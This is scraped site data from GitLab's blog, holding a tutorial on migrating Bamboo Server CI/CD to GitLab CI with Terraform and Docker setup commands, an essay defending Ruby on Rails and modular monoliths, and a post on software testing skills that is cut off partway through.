{\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to migrate Atlassian Bamboo Server's CI/CD infrastructure to GitLab CI, part one\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ivan Lychev\"}],\n        \"datePublished\": \"2022-07-06\",\n      }",{"title":13477,"description":13473,"authors":13478,"heroImage":12013,"date":13479,"body":13480,"category":734,"tags":13481},"How to migrate Atlassian Bamboo Server's CI/CD infrastructure to GitLab CI, part one",[13439],"2022-07-06","\n\nWhen I faced a task of migrating from `Atlassian Bamboo Server` to `GitLab CI/CD`, I was not able to find any comprehensive information regarding something similar. So I designed a process on my own. This demo shows how to migrate a CI/CD structure for an existing multi-component application from a discontinued [Atlassian Bamboo Server](https://www.atlassian.com/migration/assess/journey-to-cloud) to [GitLab CI/CD](https://docs.gitlab.com/ee/index.html) (Community Edition).\n\nThe accompanying repository is https://gitlab.com/iLychevAD/ci-cd-for-a-multi-component-app.\n\nIn this first part of a two-part series, you will find a description of the current state of affairs - i.e., how the CI/CD has been organized within Bamboo Server, how the Bamboo Build and Deploy plans are designed for bootstrapping infrastructure and deploying the components of the application, and the architecture of the application itself.\n\nAnd in part two, we'll take a deeper look at the virtues of `GitLab CI/CD`.\n\n## Initial state\n\n(Note: This is not a description of some particular project but more a kind of compilation of several projects I worked on.)\n\nThe application solution allows the client to fulfill a particular business purpose (the nature of which is not relevant here and thus not specified) and consists of more than 50 discrete components (further referred to as `applications` or just `apps` or `components`). I refrain from calling them microservices as each of them looks more like a full-fledged application communicating with other siblings using REST API and messages in Kafka topics. Some of them expose a web UI to external or internal users and some are just utility parts serving the needs of other components or performing internal operations, etc.\n\nCode for each app is stored in its own Git repository (further just `repo`). So, a `multi-repo` approach is used for them. Each app may be written in different languages and packaged as one or several OCI-images for deployment.\n\nEach app repo looks like:\n```\n📦 \u003Csome-app-git-repo>\n ┣ 📂src \u003C-- application source code\n ┣ 📂docker-compose\n ┃ ┗ 📜docker-compose.yml \u003C-- analogue of K8s manifests\n ┗ 📜Dockerfile \u003C-- conventionally, \"Dockerfile\" name is used for OCI image specification file\n```\n\nFor running the applications, the client uses an outdated orchestration system (one from pre-Kubernetes epoch). So each app repo contains a Docker-compose compatible file describing deployment directives for that outdated orchestration system (in essence, similar to Kubernetes Deployment manifests). \n\nFor all of the build and deploy activities Atlassian Bamboo Server is used. \n\nSome details for those not familiar with the Bamboo Server - in an opinionated manner it explicitly separates so-called `build` pipelines and `deployment` pipelines. The former are supposed to build application code and produce some artifacts for further deployment (in our case those artifacts are OCI images uploaded to OCI registry and docker-compose.yml files referring to those images). The latter ones are supposed to take some particular set of artifacts and apply them to some particular `environment`. An `environment` (referred to `env` in the future for brevity) here is just an abstract deployment target characterized by a set of environment variables attached to it and exposed to the apps deployed into it. In reality, an `env` is implemented as a set of resources (virtual machines, databases, object storage locations, etc.) required by the applications.\n\nIn Bamboo, one `build` pipeline usually corresponds to one `deployment` pipeline so when the latter is started it just takes the artifacts from the attached `build` pipeline as input. \n\nThe client uses a `production` env, `preproduction` env, and numerous (up to several hundreds) so-called `staging` (short-lived) envs where different development teams and software engineers can test various combinations of the apps (here we assume that they have ~80-100 distinguish components of the application solution and several hundreds of software developers which gives a lot of possible combinations and requires so many `staging` envs).\n\nRoughly, a configuration of a `deploy` pipeline consists of a specification of the source artifacts (which are provided by the attached `build` pipeline as described earlier) and a specification of the set of envs where those artifacts (effectively, an application) can be deployed to.\n\nCurrent installation uses sophisticated dynamic generation of envs set for each app deployment pipeline. Roughly speaking, they have a central configuration file with the list of all existing envs where for each env a list of apps allowed to be deployed to it is denoted. Each time the file is modified (i.e., an env is created or deleted), the deployment pipelines are automatically being updated so as in the result each of them contains a list of envs corresponding for each app. You will have more idea about this aspect when you have looked at the implementation section later.\n\nIn the Bamboo UI this looks like:\n\n![envs_list_on_build_result_page](https://about.gitlab.com/images/blogimages/migration-from-atlassian-bamboo-server-to-gitlab-ci/envs_list_on_build_result_page.png)\n\nHere you can see an application build result page where on the right-hand side under the `Included in deployment project` title you can see a list of envs into which you can deploy the application. (Keep in mind that besides `build` and `deployment` pipelines, the Bamboo also uses a notion of `releases` - this is just some kind of an intermediate entity that should be created out of a build result to make it possible to deploy that build into some env). The `cloud-with-upwards-arrow` button in the `Actions` column starts a corresponding `deploy` pipeline with automatically passing the link to a build result (in a form of a `release` entity in Bamboo terminology) and the name of the env next to which the button has been clicked (the procedure of how a list of envs is created for a `deploy` pipe is described above).\n\nA concept of a `release` is specific to Bamboo Server, though it provides some amenities. For example, on the Release details page you can see a list of envs where a release has been deployed to. On the `Commits` tab you can backtrack a release to the application code in a SVC. And the `Issues` tab shows attached Jira tickets.\n\n![bamboo_release_details](https://about.gitlab.com/images/blogimages/migration-from-atlassian-bamboo-server-to-gitlab-ci/bamboo_release_details.png)\nRelease details page\n{: .note.text-center}\n\nAn env details page also enumerates releases history for this env (in scope of one particular application though as an env is specified for each deployment pipeline individually):\n\n![bamboo_env_details](https://about.gitlab.com/images/blogimages/migration-from-atlassian-bamboo-server-to-gitlab-ci/bamboo_env_details.png)\nEnv details page \n{: .note.text-center}\n\nAnd upon clicking the `cloud-with-upwards-arrow` button the Bamboo shows diff of Jira tickets and commits in respect to the previous `release` (only if both releases are made from artifacts from the same Git branch):\n\n![deploy_launch_page](https://about.gitlab.com/images/blogimages/migration-from-atlassian-bamboo-server-to-gitlab-ci/deploy_launch_page.png)\nDeploy launch page\n{: .note.text-center}\n\nSo, in general, the current path from source control to an env for each app looks like:\n\n![svc_to_env_path](https://about.gitlab.com/images/blogimages/migration-from-atlassian-bamboo-server-to-gitlab-ci/svc_to_env_path.png)\n\nThe Build plans are triggered automatically upon Git commits or Git tags. Most of the Deployment plans are started by the project members manually when needed. Each Deploy plan contains a step that checks if a user who started the plan has permissions to deploy into an env (for example, only members of the team which owns an env are allowed to deploy to that env and the deployment to the production env is allowed only for a set of eligible project members).\n\n## The task\n\nThe task is to migrate the aforementioned design from Bamboo Server to `GitLab` while keeping a similar deployment scheme (leveraging GitLab's `Environments` feature).\n\nAlso the following should be considered:\n\n - team members (software engineers, quality assurance specialists) are supposed to be able to manage environments on their own in a user-friendly self-service manner.\n - there should not be any discrepancy in IaC for different environments (per `12-factor apps` best practices), i.e. for any kind of an environment, be it a development or production one, the same set of IaC (here - Terraform files) should be used.\n  - the core ideas and workflows established in the previous situation (implemented with Atlassian Bamboo) should be kept to make the migration smoother for the members of the projects (also sometimes referred to as just users). \n\n## Implementation\n\n### Implementation's GitLab groups\\projects structure\n\n```\n📦 \u003CGitLab root group>\n ┣ 📂 apps GitLab group\n ┃ ┣ 📃 app1 GitLab project\n ┃ ┣  ...\n ┃ ┗ 📃 appN GitLab project\n ┣ 📂 ci GitLab group\n ┃ ┣ 📃 library GitLab project\n ┃ ┗ 📃 oci-registry GitLab project\n ┗ 📂 infra GitLab group\n  ┣ 📃 environment-blueprints GitLab project\n  ┣ 📃 environment-set GitLab project\n  ┗ 📃 k8s-gitops GitLab project\n```\n\n*Description*:\n\nThe most important content is in the `ci/library` repo (the shared ci configs) and `environment-set` repo. The other repos don't require much attention: The `k8s-gitops` purpose is not implemented and the repo is empty, the `apps` group just imitates source code for some apps, and the `ci/oci-registry` serves a role of an OCI registry for the solution.\n\nThe `apps` GitLab group merely contains the apps source code per se. Each GitLab project in this group corresponds to one app. Each app repo is expected to contain the source code itself (in the `src` directory for example), a `k8s` directory with k8s manifests, and an OCI image specification file (traditionally often called `Dockerfile`). \n\nThe `ci` GitLab group contains the `ci/library` project that holds shared `.gitlab-ci.yaml` files used by other projects (in a manner similar to Jenkins' shared libraries) and the `ci/oci-registry` serves as an OCI-image registry for various images used by the demo project (it also contains a Git repository with gitlab-ci files to build some utility images with tools used in various pipelines). For simplicity, the latter stores all the images throughout all the projects of the demo, though it's clearly not the best choice for a real-life situation when different sets of images of a set of separate projects/registries should be created.\n\nThe `infra` group holds applications infrastructure creation related Git repositories:\n\nThe `infra/k8s-gitops` is mostly irrelevant to the topic of this demo. In this demo it's presumed that Kubernetes is used as a computation workload platform and when a k8s cluster is created for an environment all the k8s manifests are supposed to be put into this repo (where each branch corresponds to a single environment) to be consumed by a GitOps tool installed into the cluster.\n\nThe `infra/environment-blueprints` holds parametrized IaC templates describing all the resources required for a full-fleged environment. In this example, the Terraform is used as an IaC tool though the principles are similar for its analogs (CloudFormation, for instance). The blueprints are parametrized in such manner that in the defaults values they hold some sensible values (most likely set to different values depending on the kind of a environment they were used to bootstrap - for example, a production env and everything else). It's implied that there might coexist several versions of the blueprints (implemented by using Git branches or Git tags) so each environment (see the next paragraph about `infra/environment-set`) can explicitly specify which version it wants to use (in case of using Terraform by specifying Git reference in the module's `source` field).\n\nHere I would like once again to highlight a digression from the best practices. For simplicity in the `infra/environment-blueprints` repo all the parts of an environment are combined into one single Terraform module (or a workspace, or a Stack in CloudFormation's terminology). In that way all the resources are always updated or changed within a single `terraform apply` command, which is cumbersome for large infrastructures containing a lot of resources. For larger infrastructures it would be more manageable to split into disparate Terraform modules (or CloudFormation Stacks, or Azure ARM Resource Groups) and thus make it possible for the infrastructure to be changed/updated in parts according to which exact components of it have changed. This might raise another question - how to manage dependencies in between such parts if they are present? For that, we would use some kind of an external (in respect to the IaC tool itself) orchestration tool like AWS Step Functions... or even GitLab's DAG feature!\n\nFinally, the `infra/environment-set` project represents an actual expected state of resources for each environment (a branch corresponds to an environment). See the README.md file in the Git repo for details. In short, each branch here is meant to contain a `main.tf` file referring to some version of the blueprints in the `infra/environment-blueprints` project, a set of Terraform files with overrides for any default variables set in the blueprints modules and other utility files like with a list of users allowed to deploy to the environment (such a list is to be checked by the deployments job in the apps projects).\n\n### **Important!**\n\nWhile looking at the implementation keep im mind that this solution deliberately omits some crucial aspects of any project infrastructure like security or monitoring, just for the sake of keeping this solution manageable and comprehensible. Implementing security and monitoring aspects would make the solution cumbersome and much longer to prepare. That is also true for the `k8s-gitops` repository - it's implied that in a real-life solution this would actively participate in the deployment process and hold Kubernetes clusters state in a GitOps approach but currently, this repo is just a placeholder. In the practical guide later you will see a description of the process of controlling environments using different branches in the `infra/environment-set` project. Ideally, such a workflow should use Merge Requests though for simplicity this implementation skips using MRs.\n\nAnother important thing that's possible not clear in this solution is configuration management, i.e. how configuration settings unique to each environment are provided to the applications inside an environment. Well, given that our applications run within Kubernetes cluster and that the cluster state is placed into a dedicated repo (`k8s-gitops` in our case), the configuration settings situation is simple - for each app the Terraform files in the `infra/environment-blueprints` should output all the sensible configuration values for the resources (like S3 bucket names, RDS endpoint URLs, etc.). Then, using Terraform itself or some other tool to create/update an environment, an additional step would collect all those outputs, transform them into k8s ConfigMap manifests, and put them into the GitOps repo. \n\nFor the secrets, we can go several ways. The most simplistic (though not flexible and not easy for secret rotation) way is to use some kind of encryption at rest like Mozilla's SOPS so that the secrets are being encrypted when they are put into the GitOps repo and decrypted when deployed into K8s. Another (and better ?) way - do not store secrets at rest at all but use either a third-party tool like Hashicorp Vault (with dynamic secrets generation) or cloud native features like [AWS IAM Roles for Service Accounts](https://aws.amazon.com/blogs/containers/diving-into-iam-roles-for-service-accounts/).\n\n## Bootstrap the demo\n\nThe accompanying repository, https://gitlab.com/iLychevAD/ci-cd-for-a-multi-component-app, contains Terraform files that enable you to install a copy of the demo structure into your own GitLab account to see it in action:\n\n`*.tf` files in the root directory and in the `tf_modules` directory describe the structure and configuration of the GitLab projects and groups. In the `repo_content` directory there is a content for the GitLab repositories in the projects. The repositories are filled with those files by the Terraform scripts.\n\nThe demo was tested with GitLab Community Edition `15.0.0-pre revision 4bda1cc84df`. The Terraform scripts do not create any real resources but just imitate them using `null_resource` and `local-exec`.\n\nThe bootstrapping process is conducted inside a container image (see the steps below) so it's platform-agnostic and in terms of tools all you need to spin up the demo is some containerization engine installed on your PC (i.e., Docker, Podman, etc).\n\n**Steps**:\n\n1. In the GitLab web UI manually create a root group to bootstrap the demo into (see `root_gitlab_group.tf` for a web-link why it's not possible to automate). Notice its ID - you need to provide it at the next step.\n\n2. Clone this repository.\n    Download an official Hashicorp's Terraform image and enter its interactive shell. All the further commands are supposed to be performed inside that shell:\n    \n    ```\n    docker run --rm -it --name ci-cd-for-a-multi-component-app \\\n      -e TF_VAR_gitlab_token=\u003Cyour GitLab account access token> \\\n      -v \u003Cpath to a location where to store ssh key-pairs on your PC>:/deploy-keys \\\n      -e TF_VAR_deploy_key_readwrite=/deploy-keys/ci-cd-for-a-multi-component-app-deploy-key.pub \\\n      -e TF_VAR_deploy_key_readonly=/deploy-keys/ci-cd-for-a-multi-component-app-deploy-key.pub \\\n      -e TF_VAR_root_gitlab_group_id=\u003CGitLab group ID> \\\n      -v \u003Cpath to the directory where you cloned the project into>:/repo -w /repo \\\n      --entrypoint /bin/sh \\\n      public.ecr.aws/hashicorp/terraform:1.1.9\n    ```\n    \n    Explanation:\n    \n    `-e TF_VAR_gitlab_token=\u003Cyour GitLab account access token>` - Terraform's `gitlab` provider needs a GitLab access token with sufficient permissions to spin up the demo. Provide it as a Bash environment variable - `TF_VAR_gitlab_token` (see `provider.tf`). It is also used by the `upload_avatar` module.\n    \n    `-v \u003Cpath to a location where to store ssh key-pairs on your PC>:/deploy-keys` - on the left-hand side here specify some directory on your local PC where you would like to store SSH keys needed for deploying the demo. Thus they are persisted even if you exit the container. See bullet point `4` for more details.\n    \n    `-e TF_VAR_deploy_key_readwrite=/deploy-keys/ci-cd-for-a-multi-component-app-deploy-key` and\n    \n    `-e TF_VAR_deploy_key_readonly=/deploy-keys/ci-cd-for-a-multi-component-app-deploy-key` - set the names for the aforementioned keys\n    \n    `-v \u003Cpath to the directory where you cloned the project into>:/repo -w /repo` - we mount the project content from your local PC into the running container. Note that because of that the Terraform local state file will be stored inside that directory on your PC.\n\n3. Install tools - bash and curl:\n    \n    ```\n    apk add bash curl\n \n    /bin/bash\n    ```\n\n4. Upon bootstrapping the demo, the repositories' content is pushed into (i.e. is restored) from the `repo_content` directory. (When the demo is destroyed the content of the repositories is automatically pulled (i.e. is saved) into the same directory - probably you dont need this but I implemented that for my convinience during creating the demo.) We need to create an SSH key pair and need it be the same throughout both phases. In this step we generate it:\n    \n    ```ssh-keygen -t rsa -N '' -f /deploy-keys/ci-cd-for-a-multi-component-app-deploy-key \u003C\u003C\u003C y```\n    \n    ```chmod 0400 /deploy-keys/ci-cd-for-a-multi-component-app-deploy-key```\n    \n    A trick used in `tf_modules/gitlab_project_with_restore_backup/main.tf` requires that in the host section of the SSH public key the location of the private key is specified (in a form like `filename@~/.ssh/\u003Cfilename>`). Otherwise the `tf_modules/gitlab_project_with_restore_backup` won't work. Edit accordingly:\n    \n    ```sed -i -e 's|^\\(ssh-rsa .*\\) \\(.*\\)$|\\1 ci-cd-for-a-multi-component-app-deploy-key@/deploy-keys/ci-cd-for-a-multi-component-app-deploy-key|' /deploy-keys/ci-cd-for-a-multi-component-app-deploy-key.pub```\n    ```\n\nNow you can proceed with bootstrapping the demo using Terraform:\n\nInitialize Terraform by `terraform init` so it installs all the providers.\n\nDeploy the demo with Terraform by `terraform apply`.\n\n**Notice**: During Terraform execution you may see an error:\n```\nError: POST https://gitlab.com/api/v4/projects/multi-component-app-root-group/ci/library/deploy_keys: 400 {message: {deploy_key.fingerprint_sha256: [has already been taken]}}\n\n```\nI believe this is some glitch in the GitLab API. To fix just run `terraform apply` once again until it shows no errors.\n\nAfter that you should see the following structure in GitLab in the root group:\n\n![gitlab_projects_tree](https://about.gitlab.com/images/blogimages/migration-from-atlassian-bamboo-server-to-gitlab-ci/gitlab_projects_tree.png)\n\nAll the projects should be filled with files from the `repo_content` directory.\n\nDo not delete the directory with the cloned project and the files created inside it if later you would want to clean up the things. See the next section for instructions.\n\n## Cleaning up\n\nLaunch a container image the same way you did for bootstrapping the demo (see the previous section). It's supposed that you didnt delete any files in `\u003Cpath to a location where to store ssh key-pairs on your PC>` and `\u003Cpath to the direcory where you cloned the project into>`: \n\n```\ndocker run --rm -it --name ci-cd-for-a-multi-component-app \\\n  -e TF_VAR_gitlab_token=\u003Cyour GitLab account access token> \\\n  -v \u003Cpath to a location where to store ssh key-pairs on your PC>:/deploy-keys \\\n  -e TF_VAR_deploy_key_readwrite=/deploy-keys/ci-cd-for-a-multi-component-app-deploy-key.pub \\\n  -e TF_VAR_deploy_key_readonly=/deploy-keys/ci-cd-for-a-multi-component-app-deploy-key.pub \\\n  -e TF_VAR_root_gitlab_group_id=\u003CGitLab group ID> \\\n  -v \u003Cpath to the direcory where you cloned the project into>:/repo -w /repo \\\n  --entrypoint /bin/sh \\\n  public.ecr.aws/hashicorp/terraform:1.1.9\n```\n\nInstall curl:\n\n```apk add curl```\n\nDo `terraform destroy`.\n\n**Notice**: You may see some errors regarding deleting the `oci-registry` project with OCI images. In that case just delete the images and remove the project manually or wait while GitLab does that itself later.\n\nNow if you want you can remove the cloned project directory and the `\u003Cpath to a location where to store ssh key-pairs on your PC>` directory.\n\nIf you would like to deploy the demo once again without removing the directory with the cloned repo dont forget to remove files created during the previous demo deployment, namely `terraform.tfstate` files in the root directory and `.git` directories everywhere in the `repo_content` directory.\n\nIn the [second part](/blog/how-to-migrate-atlassians-bamboo-servers-ci-cd-infrastructure-to-gitlab-ci-part-two/) of this tutorial, we'll look at a real-world example of how this can work.\n\n\n\n\n\n",[110,4103,696],{"slug":13483,"featured":6,"template":678},"migration-from-atlassian-bamboo-server-to-gitlab-ci","content:en-us:blog:migration-from-atlassian-bamboo-server-to-gitlab-ci.yml","Migration From Atlassian Bamboo Server To Gitlab Ci","en-us/blog/migration-from-atlassian-bamboo-server-to-gitlab-ci.yml","en-us/blog/migration-from-atlassian-bamboo-server-to-gitlab-ci",{"_path":13489,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13490,"content":13496,"config":13500,"_id":13502,"_type":16,"title":13503,"_source":17,"_file":13504,"_stem":13505,"_extension":20},"/en-us/blog/why-were-sticking-with-ruby-on-rails",{"title":13491,"description":13492,"ogTitle":13491,"ogDescription":13492,"noIndex":6,"ogImage":13493,"ogUrl":13494,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13494,"schema":13495},"Why we're sticking with Ruby on Rails","GitLab CEO and co-founder Sid Sijbrandij makes the case for Ruby on Rails.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668296/Blog/Hero%20Images/gitlab-ruby.jpg","https://about.gitlab.com/blog/why-were-sticking-with-ruby-on-rails","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why we're sticking with Ruby on Rails\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2022-07-06\",\n      }",{"title":13491,"description":13492,"authors":13497,"heroImage":13493,"date":13479,"body":13498,"category":962,"tags":13499},[3532],"\nWhen David Heinemeier Hansson created Ruby on Rails ([interview](https://corecursive.com/045-david-heinemeier-hansson-software-contrarian/)), he was guided by his experience with both PHP and Java. On the one hand, he didn’t like the way the verbosity and rigidness of Java made Java web frameworks complex and difficult to use, but appreciated their structural integrity. On the other hand, he loved the initial approachability of PHP, but was less fond of the quagmires that such projects tended to turn into.\n\n![Ruby vs. Java](https://about.gitlab.com/images/blogimages/ruby1.png)\n\nIt seems like these are exclusive choices: You either get approachable and messy or well-structured and hard to use, pick your poison. We used to make a very similar, and similarly hard, distinction between server-class operating systems such as Unix, which were stable but hard to use, and client operating systems such as Windows and MacOS that were approachable but crashed a lot.\n\nEveryone accepted this dichotomy as God-given until NeXT put a beautiful, approachable and buttery-smooth GUI on top of a solid Unix base. Nowadays, “server-class” Unix runs not just beautiful GUI desktops, but also most phones and smart watches.\n\nSo it turned out that approachability and crashiness were not actually linked except by historical accident, and the same turns out to be true for approachability and messiness in web frameworks: They are independent axes.\n\n![approachability and messiness](https://about.gitlab.com/images/blogimages/ruby2.png)\n\nAnd these independent axes opened up a very desirable open spot in the lower right hand corner: an approachable, well-structured web framework.\nWith its solid, metaprogrammable Smalltalk heritage and good Unix integration, Ruby proved to be the perfect vehicle for DHH to fill that desirable bottom right corner of the table with Rails: an extremely approachable, productive and well-structured web framework. \n\n![a well-structured framework](https://about.gitlab.com/images/blogimages/ruby3.png)\n \nWhen GitLab co-founder Dmitriy Zaporozhets decided he wanted to work on software for running his (and your) version control server, he also came from a PHP background. But instead of sticking with the familiar, he chose Rails. Dmitry's choice may have been prescient or fortuitous, but it has served GitLab extremely well, in part because David succeeded in achieving his goals for Rails: approachability with good architecture.\n\n## Why modular?\n\nIn the preceding section, it was assumed as a given that modularity is a desirable property, but as we also saw it is dangerous to just assume things.  So why, and in what contexts, is modularity actually desirable?\n\nIn his 1971 paper [\"On the Criteria to be Used in Decomposing Systems into Modules\"](https://prl.ccs.neu.edu/img/p-tr-1971.pdf), David L. Parnas gave the following (desired) benefits of a modular system:\n\n- Development time should “be shortened because separate groups would work on each module with little need for communication.”\n- It should be possible to make “drastic changes or improvements in one module without changing others.”\n- It should be possible to study the system one module at a time.\n\nThe importance of reducing the need for communication was later highlighted by Fred Brooks in _[The Mythical Man Month](https://en.wikipedia.org/wiki/The_Mythical_Man-Month)_, with the additional communication overhead one of the primary reasons for the old saying that \"adding people to a late software project makes it later.\" \n\n## We don’t need microservices\n\nModularity has generally been as elusive as it is highly sought after, with the default architecture of most systems being the [Big Ball of Mud](http://laputan.org/mud/). It is therefore understandable that designers took inspiration from arguably the largest software system in existence: the World Wide Web, which is modular by necessity, it cannot function any other way.\n\nOrganizing your local software systems using separate processes, microservices that are combined using [REST](https://www.ics.uci.edu/~fielding/pubs/dissertation/fielding_dissertation.pdf) architectural style does help enforce module boundaries, via the operating system, but comes at significant costs. It is a very heavy-handed approach for achieving modularity.\n\nThe difficulties and costs of running what is now a gratuitously distributed system are significant, with some of the performance and reliability issues documented in the well-known [fallacies of distributed computing](https://en.wikipedia.org/wiki/Fallacies_of_distributed_computing). In short, the performance and reliability costs are significant, as function calls that take nanoseconds and never fail are replaced with network ops that are three to six orders of magnitude slower and do fail. Failures become much harder to diagnose if they must be traced across multiple services with very little tooling support.\nYou need a fairly sophisticated DevOps organization to successfully run microservices. This doesn't really make a difference if you run at a scale that requires that sophistication anyhow, but it is very likely that [you are not Google](https://blog.bradfieldcs.com/you-are-not-google-84912cf44afb?gi=1b82f8ef279a).\n\nBut even if you think you can manage all that, it is important to note that all this accidental complexity is on top of the original essential complexity of your problem, microservices do nothing to reduce complexity. And even the hoped-for modularity improvements are not in the least guaranteed, typically what happens instead is that you get a [distributed ball of mud](http://www.codingthearchitecture.com/2014/07/06/distributed_big_balls_of_mud.html).\n\n## Monorails\n\nBy making good architecture approachable and productive, Rails has allowed GitLab to develop a [modular monolith](https://medium.com/@dan_manges/the-modular-monolith-rails-architecture-fb1023826fc4). A modular monolith is the exact opposite of a distributed ball of mud: a well-structured, well-architected, highly modular program that runs as a single process and is as [boring](https://handbook.gitlab.com/handbook/values/#boring-solutions) as possible.\n\nAlthough structuring GitLab as a monolith has been extremely beneficial for us, we are not dogmatic about that structure. Architecture follows needs, not the other way around. And while Rails is excellent technology for our purposes, it does have a few drawbacks, one of them being performance. Luckily, only a tiny part of most codebases is actually performance critical. We use our own [gitaly](https://www.google.com/url?q=https://docs.gitlab.com/ee/administration/gitaly/&sa=D&source=docs&ust=1656441057979077&usg=AOvVaw11r4iMGjvs6PrtTJEkeTbO) daemon written in Go to handle actual git operations, and [PostgreSQL](https://thenewstack.io/two-sizes-fit-most-postgresql-and-clickhouse/) for non-repository persistence.\n\n## Open Core\n\nLast but not least, our modular monolith turns [our](/blog/gitlab-is-open-core-github-is-closed-source/) [Open Core](https://en.wikipedia.org/wiki/Open-core_model) business model from being just a nice theory into a practical [reality](https://www.cnbc.com/2021/10/14/gitlab-jumps-in-nasdaq-debut-after-pricing-ipo-above-expected-range.html). Although Rails does not accomplish this by itself, that would be our wonderful contributors and engineers, it does lay the proper foundations.\n\nIn order to reap the true [benefits](https://en.wikipedia.org/wiki/The_Cathedral_and_the_Bazaar) of open source, the source code that is made available must be approachable for contributors. In order to maintain architectural integrity in the face of contributions from a wide variety of sources, and to keep a clear demarcation line between the open and closed components, the code must be very well structured. Sound familiar?\n\nWouldn’t it be better to have a proper plugin interface? Or better yet, a services interface modeled on microservices? In a word: no. Not only do these approaches impose deployment and integration hurdles that go far beyond “I made a small change to the source code,\" they often enforce architectural constraints too rigidly. Anticipating all the future extension points is a fool's errand, one that we luckily did not embark on, and do not have to.\n\nWith our boring modular monolith, users and other third-party developers can and do contribute enhancements to the core product, giving us tremendous leverage, coupled with an unbeatable pace and scalability of innovation.\n",[4103,815,2704],{"slug":13501,"featured":6,"template":678},"why-were-sticking-with-ruby-on-rails","content:en-us:blog:why-were-sticking-with-ruby-on-rails.yml","Why Were Sticking With Ruby On Rails","en-us/blog/why-were-sticking-with-ruby-on-rails.yml","en-us/blog/why-were-sticking-with-ruby-on-rails",{"_path":13507,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13508,"content":13513,"config":13518,"_id":13520,"_type":16,"title":13521,"_source":17,"_file":13522,"_stem":13523,"_extension":20},"/en-us/blog/how-to-leverage-modern-software-testing-skills-in-devops",{"title":13509,"description":13510,"ogTitle":13509,"ogDescription":13510,"noIndex":6,"ogImage":12965,"ogUrl":13511,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13511,"schema":13512},"How to leverage modern software testing skills in DevOps","Test automation is finally happening, but do teams have the necessary modern software testing skills? Here's what you need to know","https://about.gitlab.com/blog/how-to-leverage-modern-software-testing-skills-in-devops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to leverage modern software testing skills in DevOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Lauren Minning\"}],\n        \"datePublished\": \"2022-07-05\",\n      }",{"title":13509,"description":13510,"authors":13514,"heroImage":12965,"date":13515,"body":13516,"category":8943,"tags":13517},[12854],"2022-07-05","\nTesting is a critical step in the software development lifecycle but also the part of the process most DevOps teams trip over. The solution — test automation — has been talked about for years but has been far easier said than done. However, with new technologies on the rise, test automation is taking off. DevOps teams need to be prepared with modern software testing skills. Here's how to get started.\n\n## The benefits of automated software testing\n\nIn [GitLab's 2021 Global DevSecOps Survey](/developer-survey/) of over 4,000 developers, security professionals, and operations team members, respondents agreed on one universal truth: Software testing is the biggest reason why development is delayed. \n\nIt’s critical to get software testing right because it’s financially disastrous to get it wrong. How much money do software mistakes add up to? Somewhere in the trillions. Yes, with a “t.”\n\n[DevOps.com](https://devops.com/this-is-not-just-a-test-devops-and-the-need-to-automate/) reported that software failures in companies’ operations systems cost a total of almost $1.6 trillion in the U.S. in 2019 alone. \n\nBut testing has traditionally been difficult to do efficiently and not particularly popular with developers. The solution? Test automation combined with modern software testing skills.\n\n## It’s a hands-on start\n\nDevOps teams looking to up their test game need to take a step back... into _manual_ testing.\n\n(The irony is not lost on us.)\n\nA manual testing mindset can actually improve all facets of automated software testing. As devs perform basic tests on their code as it’s being written, channeling their inner manual tester can be helpful. Whether it’s looking at the requirements again or running failed fixes *one more time*, that attention to detail should be brought into how automated test cases are built and executed. \n\n## Take the modern view\n\nOnce developers have incorporated some old-school habits into their test cases, it’s time to consider some fresh perspectives, up to and including a deep understanding of the organization’s goals and objectives.\n\nAccording to [Modern Testing](https://www.moderntesting.org), there are key principles of modern testing that every developer needs to be aware of for successful testing at any stage:\n\n- Job one is to make the business better. \n- Rely on trusted resources like [Lean Thinking](https://www.lean.org/explore-lean/what-is-lean/) and the [Theory of Constraints](https://www.leanproduction.com/theory-of-constraints/#:~:text=The%20Theory%20of%20Constraints%20is,referred%20to%20as%20a%20bottleneck).\n- Fail fast but focus on success.\n- Always be the customer when testing.\n- Do data-driven work. \n- Testers are evangelists. \n\n## Get certified\n\nAs the saying goes, every little bit helps. Though it is not required, a training program or certification course in software testing can enhance team capabilities.\n\nIf there's interest in this option, research courses online that might fit. From beginners to experienced testers, there’s something for everyone.\n\nNot sure where to start? Teams can explore the International Software Testing Qualifications Board (ISTQB) [Foundation Level Certification for CTFL certification](https://astqb.org/certifications/foundation-level-certification/). This is required before taking any other certifications (see [the full list of ISTQB prerequisites](https://astqb.org/certifications/#prerequisites)). After CTFL, there are many interesting certification options. \n\nThe [American Software Qualifications Board](https://astqb.org/certifications/), which offers the ISTQB certifications, is another great resource and has a helpful [Software Testing Career Road Map](https://astqb.org/benefits/road-map/). \n\n## Embrace new technologies\n\n[Artificial intelligence and machine learning](/blog/ai-in-software-development/) are at the core of test automation, so a thorough understanding of the technologies is a key modern software testing skill to have onboard. If AI/ML is already in use, ask to shadow or “apprentice” those working with it. Organize a Q&A for the DevOps team with an expert, and pull together a suggested reading list. The more understanding and experience, the easier it will be to get the most out of an ML bot.\n\n## Dive into the metrics\n\nAutomation is not only going to lead to faster releases, it's going to make it possible to do even more testing, which is great but, of course, also means there will be even _more_ data than ever before. It can be easy to feel overwhelmed by it all, so it's critical DevOps teams decide and [focus on the metrics that matter most](/blog/gitlab-top-devops-tooling-metrics-and-targets/) to the organization. It could be pipeline stability, time to first failure, or the \"age\" of open bugs... but whatever they are, they're important to continue to measure and understand.\n\n## The bottom line on modern software testing skills\n\nTesters, who’ve often been overlooked when it comes to DevOps fame and glory, have an opportunity to reinvent themselves and their QA roles if they can take advantage of modern software testing skills. It’s a critical step in the process that is finally getting some much needed attention and tech investment, so it makes sense to take it seriously.\n",[4103,942,674],{"slug":13519,"featured":6,"template":678},"how-to-leverage-modern-software-testing-skills-in-devops","content:en-us:blog:how-to-leverage-modern-software-testing-skills-in-devops.yml","How To Leverage Modern Software Testing Skills In 